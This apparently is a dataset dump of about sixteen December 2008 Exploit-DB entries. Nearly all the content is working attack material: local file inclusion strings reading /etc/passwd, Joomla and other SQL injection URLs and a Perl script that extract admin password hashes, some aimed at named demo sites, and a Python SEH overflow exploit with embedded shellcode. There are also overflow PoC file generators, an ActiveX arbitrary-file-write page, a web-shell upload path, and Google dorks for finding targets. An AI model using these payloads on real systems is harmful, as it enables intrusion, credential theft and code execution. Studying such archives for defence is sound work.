QLWD/code_shield huggingface dataset:
标题: BloofoxCMS 0.3.4 - 'lang' Local File Inclusion EDB-ID: 7580 CVE: 2008-5748 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-24 漏洞利用脚本: BloofoxCMS 0.3.4
http://www.bloofox.com/

magic_quotes_gpc = Off
register_globals = On

- File Inclusion -
http://site/bloofoxCMS_0.3.4/plugins/spaw2/dialogs/dialog.php?lang=../../../../../../../../../../../../etc/passwd%00

Also vulnerable:
dialog.php?theme=<lfi>
dialog.php?dialog=foo&module=<lfi>

- Seasons Greetings -
- http://nukeit.org -

# milw0rm.com [2008-12-24] URL: https://www.exploit-db.com/exploits/7580
标题: Chilkat FTP - ActiveX (SaveLastError) Insecure Method EDB-ID: 7594 CVE: 2008-4584 2008-1647 类型: REMOTE 平台: WINDOWS 发布日期: 2008-12-28 漏洞利用脚本: <html>
<title>ChilkatSocket.DLL Arbitrary File Creation ChilkatFTP.dll v3.0.0.2</title><br><br>
<body>
<h3>ChilkatSocket.DLL Arbitrary File Creation ChilkatFTP.dll v3.0.0.2 Arbitrary Data Write Exploit</h3>

<!c0d3d by callAX 
*-*-*-*-*
0wN thE b0x p4l
*_*-*_*_*
Greetings to str0ke and Fr0git0-->

<HTML>
<BODY>
 <object id=ctrl classid="clsid:{3B598BD0-AF50-48C6-B6A5-63261A48B054}"></object>

<SCRIPT>

function Do_it()
 {
   File = "c:\\boot_.ini"
   ctrl.SaveLastError(File)
 }

</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="S3nd me to thls HD">
</body>
</HTML>

# milw0rm.com [2008-12-28] URL: https://www.exploit-db.com/exploits/7594
标题: ClaSS 0.8.60 - 'export.php' Local File Inclusion EDB-ID: 7579 CVE: 2008-5856 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-24 漏洞利用脚本: ClaSS
http://www.laex.org/class/


- <=0.8.60 -
magic_quotes_gpc = Off
register_globals = On


- File Disclosure/Download -
http://site/Class/class/scripts/export.php?ftype=
/../../path/to/Class/school.php
/../../path/to/Class/dbh_connect.php
/../../etc/passwd


- Timeline -
Author notified: Dec 19
Patch 0.8.61: Dec 19


- Seasons Greetings -
- http://nukeit.org -

# milw0rm.com [2008-12-24] URL: https://www.exploit-db.com/exploits/7579
标题: Joomla! Component PAX Gallery 0.1 - Blind SQL Injection EDB-ID: 7587 CVE: 2008-5811 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-28 漏洞利用脚本: [â– ]  Joomla Component PAX Gallery v 0.1 (gid) <= Blind SQL Injection Vulnerability
 
>---------------------------------------<

> AuToR: XaDoS (SecurityCode Team)
> Contact M&: xados [at] hotmail [dot] it
> BÂ§g: Blind $ql inJection
> Note: safe mode = ON
> Autor script: Tobias Floery
>---------------------------------------<
 

[â– ] ExPL0iT:


|: http://www.example.com/path/com_paxgallery&task=table&gid=[$qL] 


[â– ] DÂ£M0: 

>Version:

|: http://www.komponenten.joomlademo.de/index.php?option=com_paxgallery&task=table&gid=1%20and%20substring(@@version,1,1)=5  [Ye$]
 
|: http://www.komponenten.joomlademo.de/index.php?option=com_paxgallery&task=table&gid=1%20and%20substring(@@version,1,1)=4 [Noo]
 
 
|: http://www.komponenten.joomlademo.de/index.php?option=com_paxgallery&task=table&gid=1%20and%20ascii(substring((select%20password%20from%20jos_users%20limit%201,1),1,1))%3E100
 
d8e423..ecc... ;-)
 
[â– ] Th4nKs::
 
\> Str0ke </ \> Securitycode Team </ \> StaKer </

# milw0rm.com [2008-12-28] URL: https://www.exploit-db.com/exploits/7587
标题: IntelliTamper 2.07/2.08 - '.map' Local Overwrite (SEH) EDB-ID: 7582 CVE: 2008-5755 类型: LOCAL 平台: WINDOWS 发布日期: 2008-12-28 漏洞利用脚本: #!/usr/bin/python
# IntelliTamper 2.07/2.08  (MAP File) 0-day Local SEH Overwrite Exploit
# Bug discovered by cN4phux <cN4phux@gmail.com>
# Tested on: IntelliTamper 2.07/2.08 / win32 SP3 FR
# Shellcode: Windows Execute Command (calc) <metasploit.com>
# Here's the debugger output like what u see, the EIP overwritten & attempt to read from address 41414141 so the prog must be crashz . .
# EAX 0015B488 ECX 00123400 EDX 00123610
# EBX 00000000 ESP 00123604 EBP 00128B78
# ESI 00000000 EDI 00123A64 EIP 41414141
#Vive les Algeriens & greatz to friend's : me (XD) Heurs, Djug , Blub , His0k4 , Knuthy , Moorish , Ilyes ,
#Here's the the Poc :


import sys
map_theader = ((("\x23\x23\x23\x20\x53\x49\x54\x45\x4D"
                 "\x41\x50\x31\x20\x49\x4E\x54\x45\x4C"
                 "\x4C\x49\x54\x41\x4D\x50\x45\x52\x0D\x0A"))) #junk

map_iheader = "\x46\x49\x4C\x45\x23\x23"

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode = ((("\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc5"
               "\x91\xc1\x60\x83\xeb\xfc\xe2\xf4\x39\x79\x85\x60\xc5\x91\x4a\x25"
               "\xf9\x1a\xbd\x65\xbd\x90\x2e\xeb\x8a\x89\x4a\x3f\xe5\x90\x2a\x29"
               "\x4e\xa5\x4a\x61\x2b\xa0\x01\xf9\x69\x15\x01\x14\xc2\x50\x0b\x6d"
               "\xc4\x53\x2a\x94\xfe\xc5\xe5\x64\xb0\x74\x4a\x3f\xe1\x90\x2a\x06"
               "\x4e\x9d\x8a\xeb\x9a\x8d\xc0\x8b\x4e\x8d\x4a\x61\x2e\x18\x9d\x44"
               "\xc1\x52\xf0\xa0\xa1\x1a\x81\x50\x40\x51\xb9\x6c\x4e\xd1\xcd\xeb"
               "\xb5\x8d\x6c\xeb\xad\x99\x2a\x69\x4e\x11\x71\x60\xc5\x91\x4a\x08"
               "\xf9\xce\xf0\x96\xa5\xc7\x48\x98\x46\x51\xba\x30\xad\x61\x4b\x64"
               "\x9a\xf9\x59\x9e\x4f\x9f\x96\x9f\x22\xf2\xa0\x0c\xa6\x91\xc1\x60"))); # 160 byte

header_nop = "\x90"*327

retn = "\x7b\x34\x12\x00"+".html\n" # EIP value with 4 byte fix

exploit = map_theader + map_iheader + header_nop + shellcode + retn
headers = open("0x.map", "w")
headers.write(exploit)
headers.close()

print "\nFile created successfully !";
print "\n\cN4phux.";

# milw0rm.com [2008-12-28] URL: https://www.exploit-db.com/exploits/7582
标题: SAWStudio 3.9i - '.prf' Local Buffer Overflow (PoC) EDB-ID: 7578 CVE: 2008-5722 类型: DOS 平台: WINDOWS 发布日期: 2008-12-24 漏洞利用脚本: # SAWStudio 3.9i (prf file) Buffer overflow Poc
# By:Encrypt3d.M!nd
#
# Greetz:-=Mizo=-,L!0N,El Mariachi,MiNi SpIder,GGY,and all my friends
#####################################################################
#
# when you import Prefernces File "prf file" contain long characters
# an overflow will occure,and the registers will be just like this:
#
#
# EAX:41414141 ECX:00000000 EDX:00561498 EBX:00000000
# ESP:0012DA5C EBP:0012FAD0 ESI:00561498 EDI:00000000
# EIP:7C91B1FA ntdll.7C91B1FA
#
# Access violation when writing to[41414151]
#
# Tested on: Windows XP SP3
#####################################################################



l337 = ("\x53\x41\x57\x53\x54\x55\x44\x49\x4F\x20\x50\x52\x45\x46\x45\x52\x45\x4E\x43\x45\x53\x20\x53\x54\x52\x55\x43\x54\x20\x20\x20\x20\x20")

pl = "A"*10000

file=open('enc.prf','w+')
file.write(l337+pl)
file.close()

# milw0rm.com [2008-12-24] URL: https://www.exploit-db.com/exploits/7578
标题: Joomla! Component mDigg 2.2.8 - 'category' SQL Injection EDB-ID: 7574 CVE: 2008-6149 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-24 漏洞利用脚本: #############################################################
Joomla Component com_mdigg(category) SQL-injection vulnerability
#############################################################


###################################################
#[~] Author        :  boom3rang 
#[~] Greetz        :  H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.
#[~] Vulnerability :  SQL injection 
#[~] Google Dork   :  inurl:com_mdigg 
--------------------------------------------------
#[!] Name          :  mdigg
#[!] CreationDate  :  10-12-2007
#[!] Author        :  Zhigang Lei
#[!] AuthorEmail   :  zhigang.lei@gmail.com 
#[!] Version       :  2.2.8 
###################################################

Example:
http://localHost/path/index.php?option=com_mdigg&act=story_lists&task=view&category=[exploit]


Exploit:
-9999/**/union/**/all/**/select/**/1,2,3,4,concat(username,0x3a,password),6,7,8,9,0,11,12,13/**/from/**/jos_users/*


LiveDEMO:
http://demo15.joomlaapps.com/index.php?option=com_mdigg&act=story_lists&task=view&category=-9999/**/union/**/all/**/select/**/1,2,3,4,concat(username,0x3a,password),6,7,8,9,0,11,12,13/**/from/**/jos_users/*

##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2008-12-24] URL: https://www.exploit-db.com/exploits/7574
标题: Joomla! Component Ice Gallery 0.5b2 - 'catid' Blind SQL Injection EDB-ID: 7572 CVE: 2008-6852 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-24 漏洞利用脚本: #############################################################
Joomla Component com_ice(catid) Blind SQL-injection
#############################################################


###################################################
#[~] Author        :  boom3rang 
#[~] Greetz        :  H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.
#[~] Vulnerability :  Blind SQL injection 
#[~] Google Dork   :  inurl:com_ice "catid"
--------------------------------------------------
#[!] <name>Ice Gallery</name>
#[!] <creationDate>29/08/06</creationDate>
#[!] <author>Markus Donhauser</author>
#[!] <authorEmail>ice.gallery@gmx.net</authorEmail>
#[!] <version>0.5 beta 2</version>
###################################################

Example:
http://localHost/path/index.php?option=com_ice&catid=1[SQL code]


SQL code:
and ascii(substring((SELECT concat(username,0x3a,password) from jos_users limit 0,1),1,1))>96


LiveDEMO:

http://www.komponenten.joomlademo.de/index.php?option=com_ice&catid=1 and substring(@@version,1,1)=4   >>(False)

http://www.komponenten.joomlademo.de/index.php?option=com_ice&catid=1 and substring(@@version,1,1)=5   >>(True)

http://www.komponenten.joomlademo.de/index.php?option=com_ice&catid=1 and ascii(substring((SELECT concat(username,0x3a,password) from jos_users limit 0,1),1,1))>96




##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2008-12-24] URL: https://www.exploit-db.com/exploits/7572
标题: Joomla! Component 5starhotels - SQL Injection EDB-ID: 7575 CVE: 2008-5875 2008-5874 2008-5865 2008-5864 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-24 漏洞利用脚本: #!/usr/bin/perl -w
 
 
#Joomla com_5starhotels Sql injection#
########################################
#[~] Author :  EcHoLL
#[~] www.warezturk.org www.tahribat.com
#[~] Greetz : Black_label TURK Godlike Nitrous
 
#[!] Module_Name:  com_5starhotels
#[!] Script_Name:  Joomla
#[!] Google_Dork:  inurl:"com_5starhotels"
########################################
 
 
system("color FF0000");
system("Nohacking");
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|                 Turkish Securtiy Team                      |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
print "\t\t|Joomla Module com_5starhotels(showhoteldetails&id=)Remote SQL Injection Vuln|\n\n";
print "\t\t|   Coded by: EcHoLL     www.warezturk.org               |\n\n";
print "\t\t-------------------------------------------------------------\n\n";
 
use LWP::UserAgent;
 
print "\nSite ismi Target page:[http://wwww.site.com/path/]: ";
 chomp(my $target=<STDIN>);
 
$column_name="concat(username,0x3a,password)";
$table_name="jos_users";
 
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
 
$host = $target .   "/index.php?option=com_5starhotels&task=showhoteldetails&id=1+union+select+1,".$column_name."+from/**/".$table_name."--";
$res = $b->request(HTTP::Request->new(GET=>$host));$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
  print "\n[+] Admin Hash : $1\n\n";
  print "#   Tebrikler Exploit Calisti!  #\n\n";
}
else{print "\n[-] Exploit BulunamadÄ±...\n";
}

# milw0rm.com [2008-12-24] URL: https://www.exploit-db.com/exploits/7575
标题: Getleft 1.2 - Remote Buffer Overflow (PoC) EDB-ID: 7564 CVE: 2008-6897 类型: DOS 平台: MULTIPLE 发布日期: 2008-12-23 漏洞利用脚本: #!/usr/bin/perl
#
# Getleft v1.2.0.0 DoS PoC
# Author: Koshi
#
# Application: Getleft v1.2
# Publisher: Andres Garcia ( http://personal1.iddeo.es/andresgarci/getleft/english/index.html )
# Description: Website Downloader, for such things as offline browsing.
# Tested On: Windows XP SP2
#
# Module: Getleft.exe
# eax=00c5f170 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=00c5f170
# eip=004863eb esp=0022d9b0 ebp=010b4870 iopl=0         nv up ei pl nz na po nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
#
# Getleft+0x863eb:
# 004863eb 8b06            mov     eax,dword ptr [esi]  ds:0023:00000000=????????
# 
# <embed src=>, <img src=>, <script src=>, <body background=>
# Plenty of other tags will work as well. I'm not so sure about
# code execution, I'll have to try a few other things.
#

use IO::Socket;

my $body = "<a href=\x22/abcd.jpg\x22>" ."A"x1950 ."</a>";
my $resp = "".
 "HTTP/1.1 200 OK\r\n".
 "Server: Apache\r\n".
 "Date: Mon, 22 Dec 2008 21:50:46 GMT\r\n".
 "Content-Type: text/html\r\n".
 "Accept-Ranges: bytes\r\n".
 "Last-Modified: Mon, 22 Dec 2008 21:45:46 GMT\r\n".
 "Content-Length: " .length($body) ."\r\n".
 "Connection: close\r\n\r\n".
 "$body\r\n";

for ($i = 2; $i >= 1; $i--) {

my $sock = new IO::Socket::INET (LocalPort => '80',
     Proto => 'tcp',
     Listen => 1,
     Reuse => 1, );

print "Listening...\n";
my $new_sock = $sock->accept();
print "Connected...\n";
my $sock_addr = recv($new_sock,$msg,190,0);
print "Sending ...\n";
print $new_sock "$resp";
print "Sent!\n";
close($sock);
print "Closed.\r\n\r\n";

}

# milw0rm.com [2008-12-23] URL: https://www.exploit-db.com/exploits/7564
标题: Joomla! Component com_allhotels - Blind SQL Injection EDB-ID: 7568 CVE: 2008-5875 2008-5874 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-23 漏洞利用脚本: Joomla Component com_allhotels (id)  Blind SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script  : http://www.joomlahbs.com/  &  http://www.leveltensolutions.net/spa/

DorK : inurl:index.php?option=com_allhotels

Demo :
_______


http://www.leveltensolutions.net/spa/index.php?option=com_allhotels&task=showhoteldetails&id=1+and%20substring(@@version,1,1)=5

http://www.leveltensolutions.net/spa/index.php?option=com_allhotels&task=showhoteldetails&id=1+and%20substring(@@version,1,1)=4
____________________________( Greetz )_________________________________
|
|   All members of the Forum| WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | Sakab
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | G4N0K|
|_____________________________________________________________________

 _____   ____   __   __     _       ____        ____    ____
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|

# milw0rm.com [2008-12-23] URL: https://www.exploit-db.com/exploits/7568
标题: Joomla! Component Live Ticker 1.0 - Blind SQL Injection EDB-ID: 7573 CVE: 2008-6148 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-24 漏洞利用脚本: #############################################################
Joomla Component com_liveticker(tid) Blind SQL-injection
#############################################################


###################################################
#[~] Author        :  boom3rang 
#[~] Greetz        :  H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1.
#[~] Vulnerability :  Blind SQL injection 
#[~] Google Dork   :  inurl:com_liveticker 
--------------------------------------------------
#[!] Name          :  Live Ticker
#[!] Author        :  raven-worx
#[!] AuthorEmail   :  info@raven-worx.net
#[!] Version       :  1.0.0
###################################################

Example:
http://localHost/path/index.php?option=com_liveticker&task=viewticker&tid=[SQL]



LiveDEMO:


http://www.komponenten.joomlademo.de/index.php?option=com_liveticker&task=viewticker&tid=1 and substring(@@version,1,1)=4   >>(False)


http://www.komponenten.joomlademo.de/index.php?option=com_liveticker&task=viewticker&tid=1 and substring(@@version,1,1)=5   >>(True)




##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2008-12-24] URL: https://www.exploit-db.com/exploits/7573
标题: Joomla! Component com_lowcosthotels - Blind SQL Injection EDB-ID: 7567 CVE: 2008-5875 2008-5874 2008-5865 2008-5864 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-23 漏洞利用脚本: Joomla Component com_lowcosthotels (id)  Blind SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :  www.IQ-TY.com  & www.TrYaG.cc

___________________________________

script  : http://www.joomlahbs.com/

DorK : inurl:index.php?option=com_lowcosthotels

Demo :
_______


http://www.leveltensolutions.net/spa/index.php?option=com_lowcosthotels&task=showhoteldetails&id=13+and%20substring(@@version,1,1)=5


http://www.leveltensolutions.net/spa/index.php?option=com_lowcosthotels&task=showhoteldetails&id=13+and%20substring(@@version,1,1)=4


or


http://demo.joomlahbs.com/v1/index.php?option=com_lowcosthotels&task=showhoteldetails&id=13+and%20substring(@@version,1,1)=5

http://demo.joomlahbs.com/v1/index.php?option=com_lowcosthotels&task=showhoteldetails&id=13+and%20substring(@@version,1,1)=4


____________________________( Greetz )_________________________________
|
|   All members of the Forum| WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | Sakab
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | G4N0K|
|_____________________________________________________________________

 _____   ____   __   __     _       ____        ____    ____
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|

# milw0rm.com [2008-12-23] URL: https://www.exploit-db.com/exploits/7567
标题: ILIAS 3.7.4 - 'ref_id' Blind SQL Injection EDB-ID: 7570 CVE: 2008-5816 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-24 漏洞利用脚本: ###############################################################
#
#      ILIAS Learning Management <= 3.7.4 - SQL Injection Vulnerability     
#                                                             
#      Vulnerability discovered by: Lidloses_Auge             
#      Greetz to:                   -=Player=- , Suicide, g4ms3, enco,
#                                   Palme, GPM, karamble, Free-Hack
#      Date:                        24.12.2008
#
###############################################################
#                                                             
#      Developer: http://www.ilias.de
#      Dork 1: "powered by ILIAS"
#      Dork 2: inurl:repository.php ilias
#      Description: The GET Parameter "ref_id" in "repository.php"
#      contains a Blind SQL Injection Vulnerability
#
#      Usertable:         usr_data
#      Important columns: usr_id, login, passwd
#
#      Example:
#      http://www.site.com/repository.php?cmd=frameset&ref_id=1+and+ascii(substring((select+passwd+from+usr_data+limit+0,1),1,1))>50--
#                                                             
###############################################################

# milw0rm.com [2008-12-24] URL: https://www.exploit-db.com/exploits/7570
标题: BulletProof FTP Client 2.63 - Local Heap Overflow (PoC) EDB-ID: 7571 CVE: 2008-5753 类型: DOS 平台: WINDOWS 发布日期: 2008-12-24 漏洞利用脚本: #!/usr/bin/python
#
#                   
#                  ------  |      ______ _____   (--, __*__  ______
#                  |____|  |      |    | |       | ! )  |    |     |
#                [ |    |` |      | <> | |-----> |__/   |    |     | ]
#                  | .. |  |____! |____| |____   |\     |    |-----|
#                                      |        _| \  -----  | ::: |
#                                      |         |  \
#                                |_____|         |   \
#                                                |
#                                                |
#                                               ,|.
#                                              / | \
#                                             |  |  |
#                                             |  _  |
#                                           `._\/.\/_,'
#                                             _( 8 )_
#                                            / '_ _' \
#                                           |  /{_}\  |
#                                           ` |  "  | `
#                                             |     |
#
#
# [+] Application :  BulletProof FTP (Client)  V2.63
#
# [+] Vendor URL :  http://www.bpftp.com/
#
# [+] Bug :   BulletProof FTP Client Local Heap Overflow (PoC)
#
# [+] Author :   His0k4
#
# [+] Greetings :  All friends & Muslims Hackers (dz)
#---------------------------------------------------------------------------------
# EAX 41414141
# ECX 016EC370
# EDX 00000000
# EBX 41414141
# ESP 0012F548
# EBP 0012F5C4 ASCII "AAAAAAAAAAAA"
# ESI 0170E70A ASCII "]AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
# EDI 0170E90A ASCII 03,"ftp"
# EIP 00596423 bpftpcli.00596423
#---------------------------------------------------------------------------------


header1 = "; This file was exported from BulletProof FTP Client vBulletProof FTP Client v2.63 (Build 56)\n"
header2 = "; Sitename=test site\n"
buff = "FTP://user:pass@" + "\x41" * 93


vuln = header1 + header2 + buff

try:
    out_file = open("sites.txt",'w')
    out_file.write(vuln)
    out_file.close()
    raw_input("\nBookmark file created!\n\nNow import the file and run it\n\nPress to exit...")
except:
    print "Error!"
 
# EoF

# milw0rm.com [2008-12-24] URL: https://www.exploit-db.com/exploits/7571
标题: phpEmployment - 'PHP Upload' Arbitrary File Upload EDB-ID: 7563 CVE: 2008-6920 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-23 漏洞利用脚本: ****(remote shell upload)****

script: phpEmployment
   
***************************************************************************
download from:http://www.w2b.ru/download/phpEmployment.zip
   
***************************************************************************
www.site.com/path/auth.php?mode=regnew&adtype=job

shell: www.site.com/path/photoes/number_shell.php

----------------------------------------------------------------------------------------
dork:"powered by phpEmployment"
------------------------------------------------------------------------------------------  
**************************************************


Author: ahmadbady 

**************************************************

# milw0rm.com [2008-12-23] URL: https://www.exploit-db.com/exploits/7563
标题: StormBoard 1.0.1 - SQL Injection EDB-ID: 7565 CVE: 2008-5726 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-23 漏洞利用脚本: ==============================================================================
_________________________________{Ù„Ø§Ø§Ù„Ù‡ Ø§Ù„ÙŠ Ù„Ù„Ù‡ Ù…Ø­Ù…Ø¯ Ø±Ø³ÙˆÙ„ Ù„Ù„Ù‡}_________________________________
 ---------------------------------(Samir-M)---------------------------------- 
      StormBoard Version 1.0.1 (thread.php id=) SQL Injection Vulnerability

by  : Samir-M

Msn : Km7@Hotmail.De

from: Morocco
 ----------------------------------------------------------------------------
darck :

"Powered by : StormBoard Version 1.0.1"
 ---------------------------------------------------------------------------- 

Exploit:

site.com/thread.php?id=-null union select 1,2,3,4,5,6,7,8,concat(user_name,0x3e,user_password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from users


Dome:
al-andalos.com/thread.php?id=-null+union+all+select+1,2,3,4,5,6,7,8,concat(user_name,0x3e,user_password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+users--


Login:
site.com/admin

 ----------------------------------------------------------------------------
Samir-M > A-flow > Gess-Inject0r > Wassim-Net
 ----------------------------------------------------------------------------
_______________________________________________________________________________
===============================================================================

# milw0rm.com [2008-12-23] URL: https://www.exploit-db.com/exploits/7565